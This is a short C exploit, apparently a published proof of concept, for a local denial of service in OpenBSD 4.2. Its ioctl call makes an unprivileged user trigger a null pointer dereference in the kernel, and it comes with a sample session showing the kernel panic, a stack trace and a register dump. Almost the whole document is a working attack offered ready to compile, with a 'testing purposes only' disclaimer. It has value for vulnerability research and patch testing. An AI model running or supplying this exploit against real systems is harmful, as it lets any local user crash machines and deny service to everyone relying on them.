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/*
* OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl]
* Null Pointer Dereference local Denial of Service Exploit
*
* by Hunger <rtlabdos@hunger.hu>
*
* Advisory:
* http://marc.info/?l=openbsd-security-announce&m=120007327504064
*
* FOR TESTING PURPOSES ONLY!
*
* $ uname -mrsv
* OpenBSD 4.2 GENERIC#375 i386
* $ id
* uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
* $ ftp -V http://hunger.hu/rtlabdos.c
* 100% |******************************************| 1814 00:00
* $ gcc rtlabdos.c -o rtlabdos
* $ ./rtlabdos
* uvm_fault(0xd617865e0, 0x0, 0, 1) -> e
* kernel: page fault trap, code=0
* Stopped at strlcpy+0x1c: movb 0(%edx),%al
* ddb> trace
* strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c
* ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d
* sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125
* syscall() at syscall+0x24a
* --- syscall (number 54) ---
* 0xf557d1:
* ddb> show registers
* ds 0x10
* es 0x10
* fs 0x58
* gs 0x10
* edi 0
* esi 0x20
* ebp 0xd826fd60 end+0x7a33a90
* ebx 0xd826fd98 end+0x7a33ac8
* edx 0
* ecx 0x1f
* eax 0
* eip 0xd064acb0 strlcpy+0x1c
* cs 0x8
* eflags 0x10212
* esp 0xd826fd54 end+0x7a33a84
* ss 0xd8260010 end+0x7a23d40
* strlcpy+0x1c: movb 0(%edx),%al
*
*/
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
int
main(void)
{
struct ifreq ifr = { .ifr_name = "lo0" };
return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr);
}
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